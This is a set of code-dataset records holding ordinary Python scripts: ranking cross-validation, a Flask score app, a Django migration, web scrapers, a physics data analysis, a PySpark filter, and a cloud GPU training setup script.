'bm25base_run.txt'\n :param ranker: LeToR ranker to use. See RankLib help for options.\n :param rparams: LeToR parameters in a dictionary. See RankLib help for options. Parameter name including leading '-' is key and parameter value is value.\n :param kscorefile: Alternate score file for use as a feature. This should be scores for the known qrels for training.\n :param scorefile: Alternate score file for use as a feature. This should be scores for the unknown documents for testing.\n :param fixparts: Boolean. Fixed cross-valiation partitions if True.\n :param normscores: Boolean. If True, Indri scores are normalized by (score - minscore)/(maxscore - minscore). Using the '-norm' in rparams with a norm type is preferred. See RankLib help.\n :param phraseterms: Boolean. Use only metamapped CUI terms from original terms that are not unigrams.\n :param intval: Boolean. Use RankLib internal validation. True preferred.\n :param termfile: Explicit set of CUI terms to use. A list in a pickle file.\n :param termkeyfile: Keys for mapping terms in the term file to features. Dict in a pickle file. Key = term. Value = term number (which maps to a feature number).\n :param nodrugs: Boolean. If True, do not use any drug information as a feature.\n \"\"\"\n unknown_base = unknown_docs_filename[:-11]\n parastr = 'n'\n\n if meta:\n parastr += '_m'\n if splitdrugs:\n parastr += '_sd'\n if nodrugs:\n parastr += '_nd'\n if filtered:\n parastr += '_f'\n if targetproxy:\n parastr += '_t{}'.format(dist)\n if journaldisease:\n parastr += '_jd'\n if textlen:\n parastr += '_tl'\n if indriscore:\n parastr += '_is'\n if otherscore:\n parastr += '_os'\n if normscores:\n parastr += '_ns'\n\n if scorefile:\n parastr += '_sf'\n if phraseterms:\n parastr += '_pt'\n if not intval:\n parastr += '_nov'\n\n topics = l2r.load_topics(distance=dist)\n\n filteredstr = '_filtered'\n if termfile is None:\n if not phraseterms:\n if filtered:\n termfile = 'terms{}.pickle'.format(filteredstr)\n termkeyfile = 'term_keys{}.pickle'.format(filteredstr)\n else:\n termfile = 'terms{}.pickle'.format('')\n termkeyfile = 'term_keys{}.pickle'.format('')\n else:\n termfile = 'fterms.pickle'\n termkeyfile = 'fterms_keys.pickle'\n else:\n parastr += '_' + termfile[:-11]\n\n if not os.path.exists(termfile):\n if not filtered:\n meta_docs = l2r.load_docs('qrel_docs.txt.meta')\n else:\n meta_docs = l2r.load_docs('qrel_docs.txt.meta.filtered5')\n\n l2r.save_terms(meta_docs, filtered)\n\n with open(termfile, 'rb') as infile:\n terms = pickle.load(infile)\n with open(termkeyfile, 'rb') as infile:\n term_keys = pickle.load(infile)\n\n meta_docs = None\n unknown_meta_docs = None\n\n if indriscore:\n basescores = load_indriscores(unknown_base + 'basescores_run.txt', normscores)\n unknownscores = load_indriscores(unknown_base + 'run.txt', normscores)\n else:\n basescores = None\n unknownscores = None\n\n if otherscore:\n basetfidfscores = load_indriscores('qrel_tfidfbase_run.txt', normscores)\n basebm25scores = load_indriscores('qrel_bm25base_run.txt', normscores)\n\n unknownitftdfscores = load_indriscores(unknown_base + 'tfidfbase_run.txt', normscores)\n unknownbm25scores = load_indriscores(unknown_base + 'bm25base_run.txt', normscores)\n else:\n basetfidfscores = None\n basebm25scores = None\n\n unknownitftdfscores = None\n unknownbm25scores = None\n\n if scorefile:\n kprecscores = load_indriscores(kscorefile, normscores)\n precscores = load_indriscores(scorefile, normscores)\n else:\n kprecscores = None\n precscores = None\n\n train_all = cv_dir + os.sep + features_template.format(parastr, 'all')\n test_all = cv_dir + os.sep + unknown_template.format(unknown_base, parastr, 'all')\n if filtered:\n train_all += filteredstr\n test_all += filteredstr\n # if not os.path.exists(train_all) or indriscore:\n known_docs = l2r.load_docs()\n if meta:\n if not filtered:\n meta_docs = l2r.load_docs('qrel_docs.txt.meta')\n else:\n meta_docs = l2r.load_docs('qrel_docs.txt.meta.filtered5')\n\n l2r.save_all_features(topics, known_docs, train_all, known=True, metadocs=meta_docs, terms=terms,\n term_keys=term_keys, splitdrugs=splitdrugs, targetproxy=targetproxy, journaldisease=journaldisease,\n textlen=textlen, scores=basescores, tfidfscores=basetfidfscores, bm25scores=basebm25scores,\n precscores=kprecscores, nodrugs=nodrugs)\n # if not os.path.exists(test_all):\n unknown_docs = l2r.load_docs(unknown_docs_filename)\n if meta:\n unknown_meta_docs = l2r.load_docs(unknown_docs_filename + '.meta')\n l2r.save_all_features(topics, unknown_docs, test_all, known=False, metadocs=unknown_meta_docs, terms=terms,\n term_keys=term_keys, splitdrugs=splitdrugs, targetproxy=targetproxy, journaldisease=journaldisease,\n textlen=textlen, scores=unknownscores, tfidfscores=unknownitftdfscores, bm25scores=unknownbm25scores,\n precscores=precscores, nodrugs=nodrugs)\n\n cv_file = cv_dir + os.sep + 'cv_sets.txt'\n if fixparts and os.path.exists(cv_file):\n cv_sets = []\n with open(cv_file, 'r') as cvsetfile:\n for line in cvsetfile:\n cv_sets.append(int(line.strip()))\n else:\n cv_sets = gen_cv_sets()\n with open(cv_file, 'w') as cvsetfile:\n for i in cv_sets:\n cvsetfile.write('{}\\n'.format(i))\n\n all_qnos = list(range(1, 31))\n qscores ={}\n pmids = {}\n for i in range(1, 11):\n model_file = model_name.format(parastr, ranker, i)\n train_filename = cv_dir + os.sep + features_template.format(parastr, i)\n test_filename = cv_dir + os.sep + unknown_template.format(unknown_base, parastr, i)\n training_set = [str(x) for x in all_qnos if cv_sets[x-1] != i]\n test_set = [str(x) for x in all_qnos if cv_sets[x-1] == i]\n\n filter_file(train_all, train_filename, training_set)\n filter_file(test_all, test_filename, test_set)\n\n # if not os.path.exists(model_file) or indriscore:\n l2r.train_model(train_filename, model_file, ranker=l2r.rankers[ranker], metric=metric, program=program, params=rparams, validation=intval)\n\n l2r.predict(model_file, test_filename, score_filename.format(parastr, ranker, i), metric=metric, program=program, params=rparams)\n\n if program == 'RankLib':\n qscores.update(l2r.load_rankings(score_filename.format(parastr, ranker, i)))\n pmids.update(l2r.load_pmids_from_features(test_filename))\n elif program == 'Quickrank':\n qpmids = l2r.load_pmids_from_features(test_filename)\n qscores.update(l2r.load_quickrank_scores(qpmids, score_filename.format(parastr, ranker, i)))\n pmids.update(qpmids)\n\n runfilename = unknown_base + 'tvs_L2R_{}_{}_{}_run.txt'.format(ranker, metric, parastr)\n l2r.save_reranked(qscores, pmids, runfilename)\n\n return runfilename\n\n\n# create new file with only docs\ndef filter_file(infilename, outfilename, filter_):\n count = 0\n print('')\n with open(infilename, 'r') as infile, open(outfilename, 'w') as outfile:\n for line in infile:\n count += 1\n print('\\rFiltering on {}'.format(count), end='')\n qno = line.split()[1].split(':')[1]\n if qno in filter_:\n outfile.write(line)\n","sub_path":"validation.py","file_name":"validation.py","file_ext":"py","file_size_in_byte":10926,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"347250443","text":"from flask import (\n\tBlueprint, flash, render_template, request\n)\n\nfrom app.db import get_db\n\nbp = Blueprint('math', __name__)\n\n# @bp.route('/', methods=['GET'])\n# def home():\n# \treturn render_template('index.html')\n\n@bp.route('/', methods=['GET'])\ndef game():\n\treturn render_template('game.html')\n\n@bp.route('/result', methods=['POST'])\ndef result():\n\tscore = request.form['score']\n\tdb = get_db()\n\tif not score:\n\t\tflash(error)\n\telse:\n\t\tdb.execute('INSERT INTO scores (score) VALUES (?)',\n\t\t\t(score,)\n\t\t)\n\t\tdb.commit()\n\n\ttotal = tuple(db.execute('SELECT COUNT(*) FROM scores').fetchone())[0]\n\tbeat = tuple(db.execute('SELECT COUNT(*) FROM scores WHERE score <= ?', (score,)).fetchone())[0]\n\tpercentile = (beat * 100.0) / total\n\treturn \"%.1f\" % percentile\n\n@bp.route('/results', methods=['GET'])\ndef results():\n\trows = []\n\tfor row in db.execute('SELECT score, COUNT(*) as count FROM scores GROUP BY score ORDER BY score'):\n\t\tprint(row.keys())\n\t\tprint(tuple(row))\n\t\trows.append(tuple(row))\n\treturn rows","sub_path":"app/math.py","file_name":"math.py","file_ext":"py","file_size_in_byte":1000,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"325643979","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations, models\nfrom django.conf import settings\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n migrations.swappable_dependency(settings.AUTH_USER_MODEL),\n ]\n\n operations = [\n migrations.CreateModel(\n name='bags',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('comes_with_clubs', models.BooleanField()),\n ('club_set', models.CharField(max_length=40, null=True)),\n ],\n ),\n migrations.CreateModel(\n name='balls',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('package_size', models.DecimalField(max_digits=4, decimal_places=0)),\n ],\n ),\n migrations.CreateModel(\n name='carts',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('motor', models.CharField(max_length=40)),\n ('speed', models.CharField(max_length=40)),\n ('roof', models.BooleanField()),\n ('capacity', models.DecimalField(max_digits=4, decimal_places=0)),\n ],\n ),\n migrations.CreateModel(\n name='clothing',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('customizable', models.BooleanField()),\n ],\n ),\n migrations.CreateModel(\n name='clubs',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('customizable', models.BooleanField()),\n ('hand', models.CharField(max_length=10)),\n ('club_type', models.CharField(max_length=40)),\n ('grip', models.CharField(max_length=40)),\n ],\n ),\n migrations.CreateModel(\n name='order',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('ship_to_shipping_address', models.BooleanField()),\n ('shipping_address', models.CharField(max_length=40, null=True)),\n ('postal_code', models.CharField(max_length=10, null=True)),\n ('city', models.CharField(max_length=40, null=True)),\n ('country', models.CharField(default=b'Canada', max_length=40, null=True)),\n ('province', models.CharField(max_length=40, null=True)),\n ('tax_rate', models.DecimalField(default=0.15, max_digits=4, decimal_places=2)),\n ('customer', models.ForeignKey(to=settings.AUTH_USER_MODEL, null=True)),\n ],\n ),\n migrations.CreateModel(\n name='order_line',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('quantity', models.DecimalField(max_digits=4, decimal_places=0)),\n ('order', models.ForeignKey(to='products.order')),\n ],\n ),\n migrations.CreateModel(\n name='product',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('price', models.DecimalField(max_digits=4, decimal_places=2)),\n ('model_name', models.CharField(max_length=40)),\n ('brand', models.CharField(max_length=40)),\n ('decription', models.TextField(max_length=999)),\n ('photo', models.ImageField(upload_to=b'')),\n ('color', models.CharField(max_length=40, null=True)),\n ('number_in_stock', models.DecimalField(max_digits=4, decimal_places=0)),\n ],\n ),\n migrations.AddField(\n model_name='order_line',\n name='product',\n field=models.ForeignKey(to='products.product'),\n ),\n ]\n","sub_path":"products/migrations/0001_initial.py","file_name":"0001_initial.py","file_ext":"py","file_size_in_byte":4298,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"518019406","text":"# -*- coding: utf-8 -*-\nimport scrapy\n\n\nclass ViralstoriesSpider(scrapy.Spider):\n name = 'viralstories'\n allowed_domains = ['viralstories.in']\n start_urls = ['http://viralstories.in/']\n\n\n def parse(self, response):\n for div in response.css('article a::text').getall()[2::4]:\n yield {\n 'headline': div\n }\n \n try:\n older = response.css('.pagination a::attr(href)').getall()[0]\n except:\n older = None\n \n if older is not None: \n yield response.follow(url=older, callback=self.parse)","sub_path":"ViralStories/ViralStories/spiders/viralstories.py","file_name":"viralstories.py","file_ext":"py","file_size_in_byte":611,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"607356061","text":"# coding: utf-8\n\nimport requests\nfrom bs4 import BeautifulSoup\nimport time\nimport numpy as np\nimport pandas as pd\nimport re\nimport matplotlib.pyplot as plt\n\n##############################\n# 指定した複数銘柄の基本情報を取得する\n##############################\ndef get_basic_infos(codes):\n \"\"\" 指定した複数銘柄の基本情報を取得する。\n \n Args:\n codes (dict) : 証券コードと名称のディクショナリ\n (ex){'JR東日本':9020, 'JR西日本': 9021}\n Returns:\n DataFrame : 取得した情報を格納したDataFrame\n \"\"\"\n \n basic_df = None\n for name in codes.keys():\n \n code = codes[name]\n basic_info = get_basic_info(code)\n \n # ディクショナリからSeriesを生成\n sr = pd.Series(basic_info.values(), index=basic_info.keys(), name=name)\n\n if basic_df is None:\n basic_df = pd.DataFrame([sr])\n else:\n basic_df = basic_df.append(sr)\n \n # 1秒ディレイ\n time.sleep(1)\n \n return basic_df\n\n##############################\n# 指定した銘柄の基本情報を取得する\n##############################\ndef get_basic_info(code):\n \"\"\" 指定した銘柄の基本情報を取得する。\n \n Args:\n code (int) : 証券コード\n\n Returns:\n dict: 取得した情報\n \"\"\"\n # 指定URLのHTMLデータを取得\n url = \"https://minkabu.jp/stock/{0:d}\".format(code)\n html = requests.get(url)\n \n # BeautifulSoupのHTMLパーサーを生成\n soup = BeautifulSoup(html.content, \"html.parser\")\n \n # データ格納用のディクショナリを準備\n basic_info = {}\n \n # 全
  • 要素を抽出\n li_all = soup.find_all('li')\n \n for li in li_all:\n \n #
  • 要素内の
    要素を抽出\n dt = li.find('dt')\n if dt is None:\n #
    要素がなければ処理不要\n continue\n \n #
  • 要素内の
    要素を抽出\n dd = li.find('dd')\n \n #
    要素から文字列を取得\n key = dt.text\n value = dd.text\n \n # ディクショナリに格納\n basic_info[key] = value\n \n return basic_info\n \n##############################\n# DataFrameから単位を削る。\n##############################\ndef trim_unit_from_dataframe(df):\n \"\"\" DataFrameから単位を削る。\n \n Args:\n df (DataFrame) : データフレーム\n\n Returns:\n DataFrame : 単位削除後のDataFrame\n \"\"\"\n \n # 単位を削除する関数\n def trim_unit(x):\n \n # 単位=円を削除\n yen_re = re.search(r\"(\\d{1,3}(,\\d{3})*\\.\\d+)円\", x)\n if yen_re:\n value = yen_re.group(1)\n value = value.replace(',', '')\n return np.float64(value)\n \n # 単位=%を削除\n per_re = re.search(r\"(\\d+\\.\\d+)%\", x)\n if per_re:\n value = per_re.group(1)\n return np.float64(value)\n \n # 単位=株を削除\n st_re = re.search(r\"(\\d{1,3}(,\\d{3})*)株\", x)\n if st_re:\n value = st_re.group(1)\n value = value.replace(',', '')\n return np.int64(value)\n \n # 単位=倍を削除\n times_re = re.search(r\"(\\d+\\.\\d+)倍\", x)\n if times_re:\n value = times_re.group(1)\n return np.float64(value)\n \n # 単位=百万円を削除\n million_yen_re = re.search(r\"(\\d{1,3}(,\\d{3})*)百万円\", x)\n if million_yen_re:\n value = million_yen_re.group(1)\n value = value.replace(',', '')\n value = np.int64(value) * 1000000\n return value\n \n # 単位=千株を削除\n thousand_st_re = re.search(r\"(\\d{1,3}(,\\d{3})*)千株\", x)\n if thousand_st_re:\n value = thousand_st_re.group(1)\n value = value.replace(',', '')\n value = np.int64(value) * 1000\n return value\n \n return x\n \n # 各列に対して、trim_unitを適用する\n new_df = df.copy()\n for col in df.columns:\n new_df[col] = df[col].map(lambda v : trim_unit(v))\n\n return new_df\n\n##############################\n# 複数銘柄の基本情報を整形する\n##############################\ndef reshape_basic_info(df):\n \"\"\" 複数銘柄の基本情報を整形する。\n \n Args:\n df (DataFrame) : 複数銘柄の基本情報が格納されたデータフレーム\n\n Returns:\n DataFrame : 整形後のDataFrame\n \"\"\"\n \n # DataFrameから単位を削る。\n new_df = trim_unit_from_dataframe(df)\n\n # 統計量(平均値と標準偏差)を算出する。\n statistics = pd.DataFrame({'平均値': new_df.mean(), '標準偏差': new_df.std()})\n\n # 各銘柄のデータと統計量を結合する。\n new_df = new_df.append(statistics.T)\n \n # 出来高,時価総額,発行済株数の単位を変換する。\n new_df['出来高'] = new_df['出来高'] / 1.0e+3\n new_df['時価総額'] = new_df['時価総額'] / 1.0e+12\n new_df['発行済株数'] = new_df['発行済株数'] / 1.0e+6\n new_df = new_df.rename(columns={\n '出来高' : '出来高(千株)', \n '時価総額' : '時価総額(兆円)',\n '発行済株数' : '発行済株数(百万株)', \n })\n \n # 不要な列を削除する。\n new_df = new_df.drop(columns=['始値', '高値', '安値', '単元株数', '購入金額'])\n \n return new_df\n \n##############################\n# 複数銘柄の基本情報を可視化する\n##############################\ndef visualize_basic_info(df, columns, filepath):\n \"\"\" 複数銘柄の基本情報を整形する。\n \n Args:\n df (DataFrame) : 複数銘柄の基本情報が格納されたデータフレーム\n columns (list) : 可視化する列名のリスト\n filepath(string) : 可視化したグラフを保存するファイルパス\n \n Returns:\n \"\"\"\n \n # FigureとAxesを取得\n fig = plt.figure(figsize=(9.0, 5.4))\n ax = fig.add_subplot(1,1,1)\n \n # データ数を取得\n num_data = df.shape[0] # 銘柄の数\n num_column = len(columns) # 可視化する列の数\n \n # 棒グラフを横並びで表示するためのパラメータ\n width = 0.8 / num_column # 棒グラフの幅\n xpos = np.arange(num_data) # X軸上の位置\n \n # 指定した列数分ループ\n for i in range(num_column):\n \n col = columns[i]\n x = xpos + width * i\n y = df[col]\n \n # 棒グラフを表示\n ax.bar(x, y, width=width, align='center')\n \n # X軸の目盛位置を調整し、銘柄名を表示\n labels = df.index.values\n offset = width / 2 * (num_column - 1)\n ax.set(xticks=xpos + offset, xticklabels=labels)\n \n # 補助線を描画\n ax.grid(axis='y', color='gray', ls='--')\n \n # 凡例を表示\n ax.legend(columns)\n \n # 不要な余白を削る\n plt.tight_layout()\n \n # グラフを表示\n #fig.show()\n fig.savefig(filepath)\n \n # グラフを閉じる\n plt.close()\n \n","sub_path":"01.stock_investment/02.industry_analysis/stinfo/company_info.py","file_name":"company_info.py","file_ext":"py","file_size_in_byte":7318,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"90160903","text":"import solution2\n\n\"\"\"\nFor example, if your list is the following:\n\npbga (66)\nxhth (57)\nebii (61)\nhavc (66)\nktlj (57)\nfwft (72) -> ktlj, cntj, xhth\nqoyq (66)\npadx (45) -> pbga, havc, qoyq\ntknk (41) -> ugml, padx, fwft\njptl (61)\nugml (68) -> gyxo, ebii, jptl\ngyxo (61)\ncntj (57)\n\n...then you would be able to recreate the structure of the towers that looks like this:\n\n gyxo\n /\n ugml - ebii\n / \\\n | jptl\n |\n | pbga\n / /\ntknk --- padx - havc\n \\ \\\n | qoyq\n |\n | ktlj\n \\ /\n fwft - cntj\n \\\n xhth\nIn this example, tknk is at the bottom of the tower\n\"\"\"\n\ndef test_solve():\n testdata = (\n \"pbga (66)\\n\",\n \"xhth (57)\\n\",\n \"ebii (61)\\n\",\n \"havc (66)\\n\",\n \"ktlj (57)\\n\",\n \"fwft (72) -> ktlj, cntj, xhth\\n\",\n \"qoyq (66)\\n\",\n \"padx (45) -> pbga, havc, qoyq\\n\",\n \"tknk (41) -> ugml, padx, fwft\\n\",\n \"jptl (61)\\n\",\n \"ugml (68) -> gyxo, ebii, jptl\\n\",\n \"gyxo (61)\\n\",\n \"cntj (57)\\n\",)\n assert solution2.solve(testdata) == 60\n\n","sub_path":"2017/07/solution2_test.py","file_name":"solution2_test.py","file_ext":"py","file_size_in_byte":1132,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"358929408","text":"import numpy as np\nfrom scipy.optimize import curve_fit\nimport functions as func\nimport matplotlib.pyplot as plt\n\n\ndef batch_analysis(beads, data_lines, headers, time, diff_magnet, force, title, file_name, analysis_path):\n # constants\n\n kBT = 4.114 # (pN nm) - Boltzmann factor\n Lc = 1500 # contour length (bp)\n p = 50 # persistence length (nm)\n S = 1000 # stretch modulus (pN)\n L = Lc * 0.34 # contour length (nm)\n x0 = 0 # offset (nm)\n\n for bead in range(0, beads):\n\n print(\"Processing bead \" + str(bead) + \" of \" + str(beads))\n\n # load the data\n Z = []\n for x in data_lines:\n Z.append(float(x.split()[headers.index('Z' + str(bead) + ' (um)')]))\n\n # calculate drift for the individual bead\n slope = func.calc_drift_self(data_lines, headers, time, bead)\n\n # correcting drift\n Z_drift = []\n for n, t in enumerate(time):\n Z_drift.append(Z[n] - (slope / 1000) * t)\n Z = np.array(Z_drift)\n\n # split the data in pull/release-curve\n f_pull = []\n f_release = []\n z_pull = []\n z_release = []\n time_pull=[]\n time_release=[]\n\n trigger = [] # from what data point does the pulling trace start\n\n # if the differential of the magnet is positive -> pull, else -> release ('factor' since 0 does not work)\n for n, i in enumerate(diff_magnet):\n factor = max(diff_magnet / 1000)\n if i < -factor:\n trigger.append(n)\n f_pull.append(force[n])\n z_pull.append(Z[n])\n time_pull.append(time[n])\n if i > factor:\n f_release.append(force[n])\n z_release.append(Z[n])\n time_release.append(time[n])\n\n # wlc for reference\n wlc = []\n for f in f_pull:\n wlc.append(func.WLC(f, p, L, S, x0))\n\n # select data\n select_f = []\n select_z = []\n for n, f in enumerate(f_pull):\n if 20 < f < 30:\n select_f.append(f)\n select_z.append(Z[n + min(trigger)])\n\n # initial guesses\n x_init = 1\n\n # fit the WLC in fashion (x,y) - only fit offset, fix everything else\n popt, pcov = curve_fit(lambda f, x0: func.WLC(f, p, L, S, x0), select_f, select_z, p0=(x_init))\n std = np.sqrt(np.diag(pcov)) # returns the standard deviation\n\n x_fit = popt[0]\n\n z_pull -= x_fit # subtract fitted offset from data\n z_release -= x_fit # subtract fitted offset from data\n select_z -= x_fit\n\n a = np.percentile(z_pull, 1)\n dZ = \"{0:.3f}\".format(a - np.percentile(z_pull, 99))\n\n # plotting + saving\n\n # marker_size = 10\n #\n # plt.subplot(2, 1, 1)\n #\n # plt.title(str(title) + \" / \" + str(file_name) + \" / bead \" + str(bead) + \" (dZ = \" + str(dZ) + \" nm)\")\n # plt.scatter(time_pull, z_pull-a, facecolor='None', edgecolors=\"darkgreen\", s=marker_size)\n # plt.scatter(time_release, z_release-a, facecolor='None', edgecolors=\"darkgrey\", s=marker_size)\n # plt.ylim(0, 0.75)\n # plt.xlabel(\"Time (s)\")\n # plt.ylabel(\"Extension ($\\mu$m)\")\n #\n # plt.subplot(2, 2, 3)\n #\n # plt.plot(wlc, f_pull, color='black', zorder=100)\n # plt.scatter(z_pull, f_pull, facecolor='None', edgecolors=\"darkgreen\", s = marker_size)\n # plt.ylabel(\"Force (pN)\")\n # plt.xlabel(\"Extension ($\\mu$m)\")\n # plt.xlim(0, 0.75)\n #\n # plt.subplot(2, 2, 4)\n #\n # # plt.plot(wlc, f_pull, color='black', zorder=100)\n # plt.scatter(z_release, f_release, facecolor='None', edgecolors=\"darkgrey\", s = marker_size)\n # plt.ylabel(\"Force (pN)\")\n # plt.xlabel(\"Extension ($\\mu$m)\")\n # plt.xlim(0, 0.75)\n #\n # plt.savefig(analysis_path + \"dZ_\" + str(dZ) + \"_\" + str(title) + \"_\" + str(file_name) + \"_bead\" + str(bead) + '_subplot.png', dpi=300, bbox_inches='tight')\n #\n # plt.close()\n\n return\n","sub_path":"Chromatin/batch_analysis.py","file_name":"batch_analysis.py","file_ext":"py","file_size_in_byte":4100,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"439990798","text":"from pyspark.sql import SQLContext, Window\nfrom pyspark import SparkConf, SparkContext\nimport argparse\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser(\n description = 'remove line breaks from a CSV file'\n )\n\n parser.add_argument(\n 'in_reviews_file',\n type=str,\n help='The input reviews file'\n )\n\n parser.add_argument(\n 'in_id_file',\n type=str,\n help='The input Business IDs file'\n )\n\n args = parser.parse_args()\n\n in_csv_file1 = args.in_reviews_file\n in_id_file1 = args.in_id_file\n\n in_csv_file2 = in_csv_file1.split('/')\n in_id_file2 = in_id_file1.split('/')\n \n in_csv_file3 = in_csv_file2[len(in_csv_file2) - 1]\n in_id_file3 = in_id_file2[len(in_id_file2) - 1]\n\n conf = SparkConf().setMaster(\"local\")\n sc = SparkContext(conf = conf)\n\n sqlContext = SQLContext(sc)\n\n In_review = sqlContext.read.csv(\"/Temp/{}\".format(in_csv_file3) , header=True, inferSchema=True)\n In_Subset = sqlContext.read.csv(\"/Temp/{}\".format(in_id_file3) , header=False, inferSchema=True)\n\n In_review.createOrReplaceTempView(\"In_review\")\n In_Subset.createOrReplaceTempView(\"In_Subset\")\n\n Out_DF = sqlContext.sql(\"\"\"select bse.*\n from In_review as bse\n inner join In_Subset as sub on trim(upper(bse.business_id)) = trim(upper(sub._c0))\n \"\"\")\n\n\n #Out_DF.createOrReplaceTempView(\"Out_DF\")\n #sqlContext.sql(\"\"\"select count(*) from Out_DF\"\"\").show()\n #sqlContext.sql(\"\"\"select count(*) from In_review\"\"\").show()\n\n Out_DF.coalesce(1).write.mode('overwrite').csv('/Temp/Output' , header=True , escape=\"\\\\\", quote=\"'\", encoding = 'UTF-8',sep=\"|\")\n \n sc.stop()\n","sub_path":"Spark-Subset/Review_Subset.py","file_name":"Review_Subset.py","file_ext":"py","file_size_in_byte":1749,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"447065694","text":"#!/usr/bin/env python\n\nimport argparse\nimport fastgpu\nimport os\nimport time\nimport sys\n\nfrom fastgpu import fastgpu_globals\nfastgpu_globals.set_should_disable_nas(True)\n\nINSTANCE_TYPE = 'ecs.gn6v-c8g1.2xlarge' # V100\n#INSTANCE_TYPE = 'ecs.gn6v-c8g1.16xlarge'\n#INSTANCE_TYPE = 'ecs.gn5-c8g1.14xlarge'\nNUM_GPUS = 1\nIMAGE_TYPE = 'aiacc'\nCONDA_ENVS = [\n \"mxnet_1.4.1_cu10.0_py36\",\n \"mxnet_1.4.1_cu10.1_py36\",\n \"mxnet_1.5.0_cu10.0_py36\",\n \"mxnet_1.5.0_cu10.1_py36\",\n \"mxnet_1.6.0_cu10.1_py36\",\n \"mxnet_1.6.0_cu10.2_py36\",\n \"mxnet_1.7.0_cu10.0_py36\",\n \"mxnet_1.7.0_cu10.1_py36\",\n \"mxnet_1.7.0_cu10.2_py36\",\n \"mxnet_1.9.0_cu10.1_py36\",\n \"mxnet_1.9.0_cu10.2_py36\",\n \"mxnet_1.9.0_cu11.0_py36\"\n]\n\nfastgpu.set_backend('aliyun')\nparser = argparse.ArgumentParser()\nparser.add_argument('--name', type=str, default='perseus-faster-rcnn',\n help=\"name of the current run, used for machine naming and tensorboard visualization\")\nparser.add_argument('--machines', type=int, default=1,\n help=\"how many machines to use\")\nargs = parser.parse_args()\n\ndef main():\n start_time = time.time()\n # 1. Create infrastructure\n supported_regions = ['cn-huhehaote', 'cn-zhangjiakou', 'cn-shanghai', 'cn-hangzhou', 'cn-beijing']\n assert fastgpu.get_region() in supported_regions, f\"required AMI {IMAGE_NAME} has only been made available in regions {supported_regions}, but your current region is {fastgpu.get_region()} (set $ALYUN_DEFAULT_REGION)\"\n \n fastgpu_globals.set_should_disable_nas(True)\n\n job = fastgpu.make_job(name=args.name,\n run_name=f\"{args.name}-{args.machines}\",\n #image_name='aiacc-dlimg-centos7:1.3.0.post3',\n num_tasks=args.machines,\n instance_type=INSTANCE_TYPE,\n spot=True,\n disable_nas=True,\n image_type=IMAGE_TYPE\n )\n # 2. Upload perseus faster-rcnn code.\n job.upload('gluon-cv')\n job.run('conda activate mxnet_1.9.0_cu11.0_py36')\n\n # 2.5(alternative) install nccl-2.9.6\n # job.run(\"sudo apt update\")\n # job.run(\"sudo apt install -y software-properties-common\")\n # job.run(\"wget https://developer.download.nvidia.com/compute/cuda/repos/ubuntu2004/x86_64/cuda-ubuntu2004.pin\")\n # job.run(\"sudo mv cuda-ubuntu2004.pin /etc/apt/preferences.d/cuda-repository-pin-600\")\n # job.run(\"sudo apt-key adv --fetch-keys https://developer.download.nvidia.com/compute/cuda/repos/ubuntu2004/x86_64/3bf863cc.pub\")\n # job.run('sudo add-apt-repository \"deb http://developer.download.nvidia.com/compute/cuda/repos/ubuntu2004/x86_64/ /\"')\n # job.run(\"sudo apt-get update\")\n # job.run(\"sudo apt install -y libnccl2=2.9.6-1+cuda11.0 libnccl-dev=2.9.6-1+cuda11.0\")\n\n\n # 2.5(old) nccl install\n job.run(\"wget https://ali-perseus-release.oss-cn-huhehaote.aliyuncs.com/AIACC-Dev/zijian/nccl_2.9.6-1%2Bcuda11.0_x86_64.txz -O nccl_2.9.6-1+cuda11.0_x86_64.txz\")\n job.run(\"tar -Jxvf nccl_2.9.6-1+cuda11.0_x86_64.txz\")\n job.run(\"cp -f nccl_2.9.6-1+cuda11.0_x86_64/include/*.h /usr/local/cuda/include/\")\n job.run(\"cp -f nccl_2.9.6-1+cuda11.0_x86_64/lib/libnccl* /usr/local/cuda/lib64/\")\n \n # 3. Download pretrain model and dataset.\n job.run('if [ ! -d /root/mscoco ];then mkdir /root/mscoco;fi')\n job.run('cd /root/mscoco && wget -c -t 10 http://public-ai-datasets.oss-cn-huhehaote.aliyuncs.com/coco2017/annotations/annotations_trainval2017.zip')\n job.run('wget -c -t 10 http://public-ai-datasets.oss-cn-huhehaote.aliyuncs.com/coco2017/zips/train2017.zip')\n job.run('wget -c -t 10 http://public-ai-datasets.oss-cn-huhehaote.aliyuncs.com/coco2017/zips/test2017.zip')\n job.run('wget -c -t 10 http://public-ai-datasets.oss-cn-huhehaote.aliyuncs.com/coco2017/zips/val2017.zip')\n\n job.run('mkdir -p /root/.mxnet/models')\n job.run('cd /root/.mxnet/models && wget -c -t 10 http://public-ai-datasets.oss-cn-huhehaote.aliyuncs.com/pretrain_model/resnet50_v1b-0ecdba34.params')\n\n # 4. install requirements.\n job.run('chmod -R 744 /root/gluon-cv/')\n job.run('cd /root/gluon-cv/')\n job.run('pip install -r requirements.txt')\n \n 